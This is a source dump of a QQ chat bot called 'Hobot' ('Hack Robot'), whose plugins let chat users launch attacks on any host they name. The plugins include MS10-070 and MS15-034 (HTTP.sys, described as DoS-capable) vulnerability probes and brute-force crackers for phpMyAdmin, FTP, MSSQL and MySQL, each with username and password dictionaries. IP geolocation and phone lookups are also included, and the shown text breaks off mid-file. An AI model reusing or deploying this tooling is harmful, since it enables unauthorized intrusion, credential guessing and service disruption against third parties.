├── README.md
├── main.py
├── plugin
├── MS10-070.py
├── MS15-034.py
├── address.py
├── attribute.py
├── blacklist.py
├── check.py
├── crackadmin.py
├── crackftp.py
├── crackmssql.py
├── crackmysql.py
├── crackssh.py
├── exec.py
├── findmima.py
├── getsysteminfo.py
├── jl.py
├── level.py
├── linux.py
├── parsetv.py
├── phone.py
├── phone2qq.py
├── phpwind.py
├── ping.py
├── scan.py
├── struts.py
├── system.py
└── whois.py
├── pluginTemplate.py
├── pythonwhois
├── __init__.py
├── __init__.pyc
├── airports.dat
├── countries.dat
├── countries3.dat
├── net.py
├── net.pyc
├── parse.py
├── parse.pyc
├── shared.py
├── shared.pyc
├── states_au.dat
├── states_ca.dat
└── states_us.dat
└── qqbot
├── __init__.py
├── __init__.pyc
├── common.py
├── common.pyc
├── mailagent.py
├── mailagent.pyc
├── messagefactory.py
├── messagefactory.pyc
├── qconf.py
├── qconf.pyc
├── qcontacts.py
├── qcontacts.pyc
├── qqbot.py
├── qqbot.pyc
├── qrcodemanager.py
├── qrcodemanager.pyc
├── qrcodeserver.py
├── qrcodeserver.pyc
├── qsession.py
├── qsession.pyc
├── qterm.py
├── qterm.pyc
├── utf8logger.py
└── utf8logger.pyc
/README.md:
--------------------------------------------------------------------------------
1 | # Hobot
2 | 这个名字取的和机器人差不多,叫Hack Robot
3 |
4 | 自己无聊写的机器人插件
5 |
6 |
7 | 机器人是用的 https://github.com/pandolia/qqbot
8 | 这位大神的机器人,因为略有改动,所以不是让大家装,我自己包含进来了
9 |
10 | https://github.com/joepie91/python-whois
11 | 这个是我用的whois
12 |
13 | 因为我也是才开始混gayhub,所以很多规矩不懂,但是我知道贴出来自己在那里抄的源码绝对没毛病
14 |
15 |
16 |
17 | 下面说机器人的问题
18 | 需要作以下改动才可以用
19 |
20 | -main.py 18:图灵apikey
21 |
22 | 68:掉线自动登录的QQ
23 |
24 | 92:管理员QQ
25 |
26 | 116:关键词黑名单
27 |
28 | -plugin/address.py
29 |
30 | 7:百度地图精确定位api
31 |
32 | 32:百度API商店的key
33 |
34 |
35 | 都在代码里了,,我也不知道该怎么说,,太多了,
36 | 自带了一个pluginTemplate.py,这个是插件的模板
37 |
38 |
39 | 另有几个插件因为某些原因不能开源
40 |
41 |
42 | 注意:getsysteminfo不是跨平台的命令,是我写在树莓派上的,大家可以自行改改
43 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | import imp
6 | import json
7 | import urllib2
8 | import socket
9 | import threading
10 | import json
11 | from qqbot import QQBot
12 | import time
13 |
14 | modules=[]
15 | # 获取机器人接口的返回文本
16 | def getAI(text):
17 | aa = urllib2.urlopen(
18 | "http://www.tuling123.com/openapi/api?key="+图灵机器人apikey+"&info=" + text).read()
19 | return json.loads(aa).get('text','机器人出错了..')
20 |
21 | # 获取插件帮助信息
22 | def helpinfo(infomation):
23 | global modules
24 | result = []
25 | for module in modules:
26 | info = ""
27 | try:
28 | info = module.help(infomation)
29 | except Exception, e:
30 | print e
31 | if info:
32 | result.append(info)
33 | return '\n'.join(result)
34 |
35 | def load_module():
36 | global modules
37 | modules = []
38 | for plugin in os.listdir('plugin/'):
39 | plugin = plugin.split('.')
40 | print plugin
41 | if plugin[-1] != 'py':
42 | continue
43 | try:
44 | module = imp.new_module('.'.join(plugin[:-1]))
45 | exec open('plugin/' + '.'.join(plugin)).read() in module.__dict__
46 | modules.append(module)
47 | except Exception, e:
48 | print e
49 |
50 |
51 | def work(msg,infomation):
52 | global modules
53 | for module in modules:
54 | info = ""
55 | try:
56 | info = module.work(msg,infomation)
57 | except Exception, e:
58 | print e
59 | if info:
60 | msg.Reply(info)
61 | break
62 |
63 |
64 | load_module()
65 | if not os.path.exists('users/'):
66 | os.makedirs('users/')
67 |
68 | myqqbot = QQBot(qq=你要登陆的QQ)
69 | mapping={}
70 |
71 |
72 | @myqqbot.On('qqmessage')
73 | def handler(bot, msg):
74 | global blackList
75 | global mapping
76 | msg.content=msg.content.strip(' ')
77 | qq=''
78 | if msg.contact.ctype == 'buddy':
79 | qq=str(msg.contact.qq)
80 | else:
81 | qq=mapping.get(str(msg.memberUin), None)
82 | if not qq:
83 | mapping[str(msg.memberUin)]=myqqbot.uin2qq(msg.memberUin)
84 | qq=mapping.get(str(msg.memberUin))
85 | print '用户QQ:',qq,'uin:',msg.memberUin
86 | infomation = {}
87 | if os.path.exists('users/' + str(qq) + ".ini"):
88 | try:
89 | infomation = json.loads(open('users/' + str(qq) + ".ini").read())
90 | except:
91 | pass
92 | if qq == '1197795981' and msg.content.startswith('#'):
93 | infomation['level'] = 0
94 | if msg.content == "#test" and msg.contact.ctype != 'buddy':
95 | print msg.contact.uin, myqqbot.uin2qq(msg.contact.uin), msg.memberUin, myqqbot.uin2qq(msg.memberUin)
96 | for x in msg.contact.members:
97 | print x, msg.contact.members[x], myqqbot.uin2qq(x)
98 | if msg.content == "#stop":
99 | bot.Stop()
100 | if msg.content == "#reload_module":
101 | load_module()
102 | msg.Reply("模块已重新加载")
103 | return
104 | if msg.content.startswith("#help"):
105 | if not msg.content=='#help':
106 | try:
107 | infomation['level']=int(msg.content.strip().split()[1])
108 | except:
109 | return
110 | info = '本机器人功能使用格式为:#功能 [参数1 参数2 ...] 解释\n功能列表:'
111 | msg.Reply(info)
112 | msg.Reply(helpinfo(infomation))
113 | return
114 |
115 | if msg.content.startswith("#"):
116 | bad = ['baidu.com', 'google.com', 'gov', 'edu','jd.com','fbi.gov','127.0.0.1','tencent'] #屏蔽名单
117 | if infomation.get('level', 3) < 2: # 如果level是小于二级是没有黑名单的
118 | pass
119 | elif True in [True if x in msg.content.lower() else False for x in bad]:
120 | if qq!='':
121 | msg.content = 'token set '+qq+' 4' # 直接修改用户命令,并且下一条修改临时用户权限,做到自动修改等级为4
122 | infomation={'level':0}
123 | threading.Thread(target=work, args=(msg, infomation)).start()
124 | msg.Reply('恭喜这位用户踩雷,黑名单有请')
125 | return
126 | msg.content = msg.content[1:]
127 | threading.Thread(target=work, args=(msg,infomation)).start()
128 | return
129 | if msg.contact.ctype == 'buddy': #只有私聊回复
130 | msg.Reply(getAI(msg.content))
131 |
132 | myqqbot.Login()
133 | myqqbot.Run()
134 |
--------------------------------------------------------------------------------
/plugin/MS10-070.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import base64
3 | import urllib2
4 | import threading
5 |
6 | def check(ip, port, timeout,msg):
7 | try:
8 | url = 'http://' + ip + ":" + str(port)
9 | res_html = urllib2.urlopen(url, timeout=timeout).read()
10 | if 'WebResource.axd?d=' in res_html:
11 | error_i = 0
12 | bglen = 0
13 | for k in range(0, 255):
14 | IV = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + chr(k)
15 | bgstr = 'A' * 21 + '1'
16 | enstr = base64.b64encode(IV).replace('=', '').replace('/', '-').replace('+', '-')
17 | exp_url = "%s/WebResource.axd?d=%s" % (url, enstr + bgstr)
18 | try:
19 | request = urllib2.Request(exp_url)
20 | res = urllib2.urlopen(request, timeout=timeout)
21 | res_html = res.read()
22 | res_code = res.code
23 | except urllib2.HTTPError, e:
24 | res_html = e.read()
25 | res_code = e.code
26 | except urllib2.URLError, e:
27 | error_i += 1
28 | if error_i >= 3: return
29 | except:
30 | return
31 | if int(res_code) == 200 or int(res_code) == 500:
32 | if k == 0:
33 | bgcode = int(res_code)
34 | bglen = len(res_html)
35 | else:
36 | necode = int(res_code)
37 | if (bgcode != necode) or (bglen != len(res_html)):
38 | msg.Reply(ip+' MS10-070 ASP.NET Padding Oracle信息泄露漏洞')
39 | else:
40 | return
41 | except Exception, e:
42 | msg.Reply('扫描出错')
43 |
44 |
45 | def work(msg,info):
46 | msg.content = msg.content.strip()
47 | if msg.content.startswith("ms10-070"):
48 | if not info.get('level', 3) < 4:
49 | return False
50 | try:
51 | host = msg.content.split(' ',1)[-1]
52 | port = '80'
53 | if host.count(' '):
54 | port = host.split(' ')[-1]
55 | host = host.split(' ')[0]
56 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
57 | return '已经添加扫描任务'
58 | except:
59 | return help(info)
60 | else:
61 | return False
62 |
63 |
64 | def help(info):
65 | if not info.get('level',3) < 4:
66 | return False
67 | return '#ms10-070 ip [port] MS10-070 .NET Padding Oracle信息泄露"'
68 |
--------------------------------------------------------------------------------
/plugin/MS15-034.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import socket
3 | import threading
4 |
5 | def check(ip, port, timeout,msg):
6 | try:
7 | socket.setdefaulttimeout(timeout)
8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9 | s.connect((ip, int(port)))
10 | flag = "GET / HTTP/1.0\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
11 | s.send(flag)
12 | data = s.recv(1024)
13 | s.close()
14 | if 'Requested Range Not Satisfiable' in data:
15 | msg.Reply(ip + " 存在HTTP.sys远程代码执行漏洞")
16 | except:
17 | msg.Reply(help())
18 |
19 | def work(msg,info):
20 | msg.content = msg.content.strip()
21 | if msg.content.startswith("ms15-034"):
22 | if not info.get('level', 3) < 4:
23 | return False
24 | try:
25 | host = msg.content.split(' ',1)[-1]
26 | port = '80'
27 | if host.count(' '):
28 | port = host.split(' ')[-1]
29 | host = host.split(' ')[0]
30 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
31 | return '已经添加扫描任务'
32 | except:
33 | return help(info)
34 | else:
35 | return False
36 |
37 |
38 | def help(info):
39 | if not info.get('level',3) < 4:
40 | return False
41 | return '#ms15-034 ip [port] HTTP.sys 远程代码执行,目前仅能作DOS攻击'
42 |
--------------------------------------------------------------------------------
/plugin/address.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import re
3 | import urllib2
4 | import json
5 |
6 | def get_ip_information(ip):
7 | url = 'http://api.map.baidu.com/highacciploc/v1?qcip=' + ip + '&qterm=pc&ak='+百度地图精确定位apikey+'&coord=bd09ll&extensions=3'
8 | poiss = ''
9 | request = urllib2.Request(url)
10 | page = urllib2.urlopen(request, timeout=10)
11 | data_json = page.read()
12 | poiss = poiss + 'IP:' + ip + "\n"
13 | data_dic = json.loads(data_json)
14 | if (data_dic.has_key("content")):
15 | # if False:
16 | content = data_dic["content"]
17 | address_component = content["address_component"]
18 | formatted_address = content["formatted_address"]
19 | poiss = poiss + "该IP地址的具体位置为:\n"
20 | poiss = poiss + address_component["country"].encode("utf-8")
21 | poiss = poiss + formatted_address.encode("utf-8") + "\n"
22 | if (content.has_key("pois")):
23 | poiss = poiss + "该IP地址附近POI信息如下:\n"
24 | pois = content["pois"]
25 | for index in range(len(pois)):
26 | poiss = poiss + pois[index]["name"].encode("utf-8") + "\n"
27 | poiss = poiss + pois[index]["address"].encode("utf-8") + "\n"
28 | else:
29 | url='http://apis.baidu.com/bdyunfenxi/intelligence/ip?ip='+ip
30 | poiss=''
31 | request = urllib2.Request(url)
32 | request.add_header('apikey','百度商店apikey')
33 | page= urllib2.urlopen(request,timeout=10).read()
34 | page=json.loads(page)
35 | print page
36 | a = page['Base_info']['country']
37 | print page, type(a), repr(a),a.encode('utf-8')
38 | if page.get('Status',-1) != 0:
39 | return 'IP地址定位失败!!!'
40 | else:
41 | poiss='基本信息\n国家:%s\n'%page['Base_info']['country'].encode("utf-8")
42 | poiss=poiss+'省:%s\n'%page['Base_info']['province'].encode("utf-8") if page['Base_info']['province'] != None else 'None'
43 | poiss=poiss+'城市:%s\n'%page['Base_info']['city'].encode("utf-8") if page['Base_info']['city'] != None else 'None'
44 | poiss=poiss+'区县:%s\n'%page['Base_info']['county'].encode("utf-8") if page['Base_info']['county'] != None else 'None'
45 | poiss=poiss+'运营商:%s\n'%page['Base_info']['isp'].encode("utf-8") if page['Base_info']['isp'] != None else 'None'
46 | if page['Net_info']:
47 | poiss += '\n网络信息:\n是否提供NTP服务:%s\n'% ('提供' if page['Net_info'].get('is_ntp',None) else '不提供')
48 | poiss += 'NTP端口号:%s\n' % (str(page['Net_info']['ntp_port']) if page['Net_info']['ntp_port'] != -1 else "无")
49 | poiss += '是否提供DNS服务:%s\n' % ('提供' if page['Net_info'].get('is_dns',None) else '不提供')
50 | poiss += 'DNS端口号:%s\n' % (str(page['Net_info']['dns_port']) if page['Net_info']['dns_port'] != -1 else "无")
51 | poiss += '是否提供Proxy服务:%s\n' % ('提供' if page['Net_info'].get('is_proxy',None) else '不提供')
52 | poiss += 'Proxy端口号:%s\n' % (str(page['Net_info']['proxy_port']) if page['Net_info']['proxy_port'] != -1 else "无")
53 | poiss += '是否提供VPN服务:%s\n' % ('提供' if page['Net_info'].get('is_vpn',None) else '不提供')
54 | poiss += 'VPN端口号:%s' % (str(page['Net_info']['vpn_port']) if page['Net_info']['vpn_port'] != -1 else "无")
55 | return poiss
56 | def work(msg,info):
57 | msg = msg.content.strip()
58 | if msg.startswith("ip") and info.get('level',3) < 4:
59 | try:
60 | msg = msg.split(' ')[-1]
61 | return get_ip_information(msg)
62 | except:
63 | return help(info)
64 | else:
65 | return False
66 | def help(info):
67 | if info.get('level', 3) < 4:
68 | return '#ip 127.0.0.1 获取IP地址位置信息'
69 |
--------------------------------------------------------------------------------
/plugin/attribute.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import urllib2
3 | import re
4 | def work(msg,info):
5 | if not msg.content.startswith('phone'):
6 | return False
7 | if not info.get('level',3) < 4:
8 | return False
9 | phone=msg.content.split(' ')[-1]
10 | if len(phone)!=11:
11 | return '手机号有误'
12 | try:
13 | request = urllib2.Request('http://www.ip138.com:8080/search.asp?mobile='+phone+'&action=mobile',headers={
14 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
15 | 'Referer': 'http://www.ip138.com:8080/search.asp?mobile='+phone+'^&action=mobile'})
16 | page=urllib2.urlopen(request,timeout=2).read().decode('gb2312').encode('utf-8')
17 | result=""
18 | for text in re.findall('
[\w\W]*? | ',page)[1:]:
19 | text=text.replace('\n','').replace(' ','')
20 | result+='\n'+text.split('>')[1].split('<')[0].replace(' ','')+':'+text.split('>')[-2].split('<')[0].replace(' ','')
21 | if result:
22 | return '您查询的:'+phone+result
23 | else:
24 | return '没有查询到信息'
25 | except:
26 | return help(info)
27 |
28 | def help(info):
29 | if not info.get('level',3) < 4:
30 | return False
31 | return '#phone 13800138000 查询归属地'
32 |
--------------------------------------------------------------------------------
/plugin/blacklist.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | import json
3 | import os
4 | def work(msg,info):
5 | if not msg.content.startswith('token'):
6 | return False
7 | if not info.get('level',3) < 1:
8 | return False
9 | try:
10 | _,command,qq=msg.content.split(' ',2)
11 | if command=='get':
12 | text=''
13 | if os.path.exists('users/'+qq+'.ini'):
14 | text=open('users/'+qq+'.ini').read()
15 |
16 | text=text.strip('\n').strip('\r').strip(' ')
17 | if text=='':
18 | return 'QQ:'+qq+' 等级为:狗群员'
19 | else:
20 | tmp=json.loads(text).get('level', 3)
21 | if tmp>3:
22 | return 'QQ:' + qq + ' 等级为:黑名单'
23 | elif tmp==3:
24 | return 'QQ:' + qq + ' 等级为:狗群员'
25 | elif tmp==2:
26 | return 'QQ:' + qq + ' 等级为:高级狗群员'
27 | elif tmp==1:
28 | return 'QQ:' + qq + ' 等级为:狗管理'
29 | else:
30 | return 'QQ:' + qq + ' 等级为:超级狗管理'
31 | else:
32 | qq,level=qq.split(' ')
33 | text=''
34 | if os.path.exists('users/' + qq + '.ini'):
35 | text = open('users/' + qq + '.ini').read()
36 | text = text.strip('\n').strip('\r').strip(' ')
37 | if text=='':
38 | tlevel=3
39 | try:
40 | tlevel=int(level)
41 | except:
42 | try:
43 | tlevel={'黑名单':4,'狗群员':3,'高级狗群员':2,'狗管理':1,'超级狗管理':0}.get(level,3)
44 | except:
45 | return '小伙子搞事是吧'
46 |
47 | tmp={}
48 | tmp['level']=tlevel
49 | tmp=json.dumps(tmp)
50 | f=open('users/' + qq + '.ini','w')
51 | f.write(tmp)
52 | f.close()
53 | return '用户权限修改成功'
54 | else:
55 | tmp = json.loads(text)
56 | tlevel = 3
57 | try:
58 | tlevel = int(level)
59 | except:
60 | try:
61 | tlevel = {'黑名单': 4, '狗群员': 3, '高级狗群员': 2, '狗管理': 1, '超级狗管理': 0}.get(level, 3)
62 | except:
63 | return '小伙子搞事是吧'
64 | tmp['level'] = tlevel
65 | f = open('users/' + qq + '.ini','w')
66 | f.write(json.dumps(tmp))
67 | f.close()
68 | return '用户权限修改成功'
69 | except Exception,e:
70 | print e
71 | return help(info)
72 | def help(info):
73 | if not info.get('level',3) < 1:
74 | return False
75 | return "#token get|set QQ level(0-4) 设置权限"
76 |
77 | # class Msg:
78 | # content='token 设置狗群员的等级 2358913531 狗管理'
79 | #
80 | # print work(Msg,{'level':0})
81 |
82 |
--------------------------------------------------------------------------------
/plugin/check.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import urllib2
3 | import re
4 |
5 | def work(msg,info):
6 | if not msg.content.startswith('check'):
7 | return False
8 | if not info.get('level',3) < 4:
9 | return False
10 | addr = msg.content.split(' ')[-1]
11 | addr = addr.strip('/').strip('http://').strip('https://')
12 | try:
13 | request = urllib2.Request('http://dns.aizhan.com/' + addr + '/', headers={
14 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'})
15 | page = urllib2.urlopen(request, timeout=50).read()
16 | # print page
17 | result = ""
18 | print page
19 | for text in re.findall(
20 | '', page):
21 | text = text.split('')[2:]
22 | print text
23 | for lines in text:
24 | print lines
25 | line = re.findall('', lines)
26 | domain = line[0].split('"')[1]
27 | name = '获取失败'
28 | if len(line) > 1:
29 | name = line[1].split('>')[1].split('<')[0]
30 | result += '\n' + domain + ' ' + name
31 | if result:
32 | temp = re.findall('当前域名[\w\W]*?个域名解析到该IP。', page)[0]
33 | address = temp.split(">")[3].split('<')[0]
34 | city = temp.split('>')[5].split('<')[0]
35 | num = temp.split('>')[7].split('<')[0]
36 | return '您查询的:' + addr + '\nIP地址:' + address + '\n所在地区:' + city + ',共有' + num + "个域名解析到该IP" + result
37 | else:
38 | return '没有查询到信息'
39 | except Exception, e:
40 | print e
41 | return help(info)
42 |
43 |
44 | def help(info):
45 | if not info.get('level',3) < 4:
46 | return False
47 | return '#check example.com 查询同IP站点'
48 |
--------------------------------------------------------------------------------
/plugin/crackadmin.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import urllib2
3 | import re
4 | import threading
5 |
6 | def check(ip, port, timeout,msg):
7 | flag_list = ['src="navigation.php', 'frameborder="0" id="frame_content"', 'id="li_server_type">',
8 | 'class="disableAjax" title=']
9 | user_list = ['root', 'mysql', 'www', 'bbs', 'wwwroot', 'bak', 'backup']
10 | error_i = 0
11 | try:
12 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port), timeout=timeout).read()
13 | if 'input_password' in res_html and 'name="token"' in res_html:
14 | url = 'http://' + ip + ":" + str(port) + "/index.php"
15 | else:
16 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port) + "/phpmyadmin", timeout=timeout).read()
17 | if 'input_password' in res_html and 'name="token"' in res_html:
18 | url = 'http://' + ip + ":" + str(port) + "/phpmyadmin/index.php"
19 | else:
20 | return
21 | except:
22 | pass
23 | PASSWORD_DIC = ['alpine',
24 | 'ohshit',
25 | '%null%',
26 | '000000',
27 | '111111',
28 | '11111111',
29 | '112233',
30 | '123123',
31 | '123321',
32 | '12345',
33 | '123456',
34 | '1234567',
35 | '12345678',
36 | '654321',
37 | '666666',
38 | '888888',
39 | 'abcdef',
40 | 'abcabc',
41 | 'abc123',
42 | 'a1b2c3',
43 | 'aaa111',
44 | '123qwe',
45 | 'qwerty',
46 | 'qweasd',
47 | 'admin',
48 | 'password',
49 | 'p@ssword',
50 | 'passwd',
51 | 'iloveyou',
52 | '5201314',
53 | 'dragon']
54 | for user in user_list:
55 | for password in PASSWORD_DIC:
56 | try:
57 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
58 | res_html = opener.open(url, timeout=timeout).read()
59 | token = re.search('name="token" value="(.*?)" />', res_html)
60 | token_hash = urllib2.quote(token.group(1))
61 | postdata = "pma_username=%s&pma_password=%s&server=1&target=index.php&lang=zh_CN&collation_connection=utf8_general_ci&token=%s" % (
62 | user, password, token_hash)
63 | res = opener.open(url,postdata, timeout=timeout)
64 | res_html = res.read()
65 | for flag in flag_list:
66 | if flag in res_html:
67 | msg.Reply('%s phpmyadmin弱口令,账号:%s 密码:%s' % (ip,user, password))
68 | except urllib2.URLError, e:
69 | error_i += 1
70 | if error_i >= 3:
71 | msg.Reply('扫描异常结束')
72 | return
73 | except Exception,e:
74 | msg.Reply('扫描异常结束')
75 | return
76 | msg.Reply(ip + ' 扫描结束')
77 |
78 | def work(msg,info):
79 | msg.content = msg.content.strip()
80 | if msg.content.startswith("crackadmin"):
81 | if not info.get('level', 3) < 3:
82 | return False
83 | try:
84 | host = msg.content.split(' ', 1)[-1]
85 | port = '80'
86 | if host.count(' '):
87 | port = host.split(' ')[-1]
88 | host = host.split(' ')[0]
89 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
90 | return '已经添加扫描任务'
91 | except:
92 | return help(info)
93 | else:
94 | return False
95 |
96 |
97 | def help(info):
98 | if not info.get('level',3) < 3:
99 | return False
100 | return '#crackadmin a.com [port] 用于爆破phpmyadmin'
101 |
--------------------------------------------------------------------------------
/plugin/crackftp.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import ftplib
3 | import threading
4 |
5 |
6 | def check(ip, port, timeout, msg):
7 | user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web','123']
8 | PASSWORD_DIC = ['alpine',
9 | '123',
10 | 'ohshit',
11 | '000000',
12 | '111111',
13 | '11111111',
14 | '112233',
15 | '123123',
16 | '123321',
17 | '12345',
18 | '123456',
19 | '1234567',
20 | '12345678',
21 | '654321',
22 | '666666',
23 | '888888',
24 | 'abcdef',
25 | 'abcabc',
26 | 'abc123',
27 | 'a1b2c3',
28 | 'aaa111',
29 | '123qwe',
30 | 'qwerty',
31 | 'qweasd',
32 | 'admin',
33 | 'password',
34 | 'p@ssword',
35 | 'passwd',
36 | 'iloveyou',
37 | '5201314',
38 | 'dragon']
39 | for user in user_list:
40 | for pass_ in PASSWORD_DIC:
41 | pass_ = str(pass_.replace('{user}', user))
42 | try:
43 | ftp = ftplib.FTP()
44 | ftp.timeout = timeout
45 | ftp.connect(ip, port)
46 | ftp.login(user, pass_)
47 | ftp.close()
48 | if pass_ == '': pass_ = "null"
49 | if user == 'ftp' and pass_ == 'ftp':
50 | msg.Reply(ip + ' 可以匿名登录')
51 | break
52 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_))
53 | except Exception, e:
54 | if "Errno 10061" in str(e) or "timed out" in str(e):
55 | msg.Reply('扫描异常退出')
56 | return
57 | msg.Reply(ip + " 扫描结束")
58 |
59 |
60 | def work(msg,info):
61 | msg.content = msg.content.strip()
62 | if msg.content.startswith("crackftp"):
63 | if not info.get('level', 3) < 3:
64 | return False
65 | try:
66 | host = msg.content.split(' ',1)[-1]
67 | port = '21'
68 | if host.count(' '):
69 | port = host.split(' ')[-1]
70 | host = host.split(' ')[0]
71 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
72 | return '已经添加扫描任务'
73 | except:
74 | return help(info)
75 | else:
76 | return False
77 |
78 |
79 | def help(info):
80 | if not info.get('level',3) < 3:
81 | return False
82 | return '#crackftp ip [port] 用于爆破ftp'
83 |
--------------------------------------------------------------------------------
/plugin/crackmssql.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import socket
3 | import binascii
4 | import threading
5 |
6 |
7 | def auth(host, port, username, password, timeout):
8 | try:
9 | socket.setdefaulttimeout(timeout)
10 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 | sock.connect((host, port))
12 | hh = binascii.b2a_hex(host)
13 | husername = binascii.b2a_hex(username)
14 | lusername = len(username)
15 | lpassword = len(password)
16 | ladd = len(host) + len(str(port)) + 1
17 | hladd = hex(ladd).replace('0x', '')
18 | hpwd = binascii.b2a_hex(password)
19 | pp = binascii.b2a_hex(str(port))
20 | address = hh + '3a' + pp
21 | hhost = binascii.b2a_hex(host)
22 | data = "0200020000000000123456789000000000000000000000000000000000000000000000000000ZZ5440000000000000000000000000000000000000000000000000000000000X3360000000000000000000000000000000000000000000000000000000000Y373933340000000000000000000000000000000000000000000000000000040301060a09010000000002000000000070796d7373716c000000000000000000000000000000000000000000000007123456789000000000000000000000000000000000000000000000000000ZZ3360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000Y0402000044422d4c6962726172790a00000000000d1175735f656e676c69736800000000000000000000000000000201004c000000000000000000000a000000000000000000000000000069736f5f31000000000000000000000000000000000000000000000000000501353132000000030000000000000000"
23 | data1 = data.replace(data[16:16 + len(address)], address)
24 | data2 = data1.replace(data1[78:78 + len(husername)], husername)
25 | data3 = data2.replace(data2[140:140 + len(hpwd)], hpwd)
26 | if lusername >= 16:
27 | data4 = data3.replace('0X', str(hex(lusername)).replace('0x', ''))
28 | else:
29 | data4 = data3.replace('X', str(hex(lusername)).replace('0x', ''))
30 | if lpassword >= 16:
31 | data5 = data4.replace('0Y', str(hex(lpassword)).replace('0x', ''))
32 | else:
33 | data5 = data4.replace('Y', str(hex(lpassword)).replace('0x', ''))
34 | hladd = hex(ladd).replace('0x', '')
35 | data6 = data5.replace('ZZ', str(hladd))
36 | data7 = binascii.a2b_hex(data6)
37 | sock.send(data7)
38 | packet = sock.recv(1024)
39 | if 'master' in packet:
40 | return True
41 | except Exception, e:
42 | pass
43 |
44 |
45 | def check(ip, port, timeout, msg):
46 | user_list = ['sa:sa',
47 | 'sa:password',
48 | 'admin:admin',
49 | 'admin:administrator',
50 | 'sql:sql',
51 | 'sa:sql',
52 | 'sa']
53 | PASSWORD_DIC = ['alpine',
54 | 'ohshit',
55 | '000000',
56 | '1111',
57 | '0000',
58 | '111111',
59 | '11111111',
60 | '112233',
61 | '123123',
62 | '123321',
63 | '12345',
64 | '123456',
65 | '1234567',
66 | '12345678',
67 | '654321',
68 | '666666',
69 | '888888',
70 | 'abcdef',
71 | 'abcabc',
72 | 'abc123',
73 | 'a1b2c3',
74 | 'aaa111',
75 | '123qwe',
76 | 'qwerty',
77 | 'qweasd',
78 | 'admin',
79 | 'password',
80 | 'p@ssword',
81 | 'passwd',
82 | 'iloveyou',
83 | '5201314',
84 | 'dragon']
85 | for user in user_list:
86 | for pass_ in PASSWORD_DIC:
87 | try:
88 | pass_ = str(pass_.replace('{user}', user))
89 | result = auth(ip, port, user, pass_, timeout)
90 | if result == True:
91 | msg.Reply("%s 存在弱口令,账号:%s,密码:%s" % (ip, user, pass_))
92 | except Exception, e:
93 | if "Errno 10061" in str(e) or "timed out" in str(e):
94 | msg.Reply('扫描异常结束')
95 | return
96 | msg.Reply(ip + ' 扫描结束')
97 |
98 |
99 | def work(msg,info):
100 | msg.content = msg.content.strip()
101 | if msg.content.startswith("crackmssql"):
102 | if not info.get('level', 3) < 3:
103 | return False
104 | try:
105 | host = msg.content.split(' ', 1)[-1]
106 | port = '1433'
107 | if host.count(' '):
108 | port = host.split(' ')[-1]
109 | host = host.split(' ')[0]
110 | threading.Thread(target=check, args=(host, int(port), 5, msg)).start()
111 | return '已经添加扫描任务'
112 | except:
113 | return help(info)
114 | else:
115 | return False
116 |
117 |
118 | def help(info):
119 | if not info.get('level',3) < 3:
120 | return False
121 | return '#crackmssql ip [port] 用于爆破mssql'
122 |
--------------------------------------------------------------------------------
/plugin/crackmysql.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import re
3 | import hashlib
4 | import struct
5 | import binascii
6 | import socket
7 | import threading
8 |
9 |
10 | def get_hash(password, scramble):
11 | hash_stage1 = hashlib.sha1(password).digest()
12 | hash_stage2 = hashlib.sha1(hash_stage1).digest()
13 | to = hashlib.sha1(scramble + hash_stage2).digest()
14 | reply = [ord(h1) ^ ord(h3) for (h1, h3) in zip(hash_stage1, to)]
15 | hash = struct.pack('20B', *reply)
16 | return hash
17 |
18 |
19 | def get_scramble(packet):
20 | tmp = packet[15:]
21 | m = re.findall("\x00?([\x01-\x7F]{7,})\x00", tmp)
22 | if len(m) > 3: del m[0]
23 | scramble = m[0] + m[1]
24 | try:
25 | plugin = m[2]
26 | except:
27 | plugin = ''
28 | return plugin, scramble
29 |
30 |
31 | def get_auth_data(user, password, scramble, plugin):
32 | user_hex = binascii.b2a_hex(user)
33 | pass_hex = binascii.b2a_hex(get_hash(password, scramble))
34 | if not password:
35 | data = "85a23f0000000040080000000000000000000000000000000000000000000000" + user_hex + "0000"
36 | else:
37 | data = "85a23f0000000040080000000000000000000000000000000000000000000000" + user_hex + "0014" + pass_hex
38 | if plugin: data += binascii.b2a_hex(
39 | plugin) + "0055035f6f73076f737831302e380c5f636c69656e745f6e616d65086c69626d7973716c045f7069640539323330360f5f636c69656e745f76657273696f6e06352e362e3231095f706c6174666f726d067838365f3634"
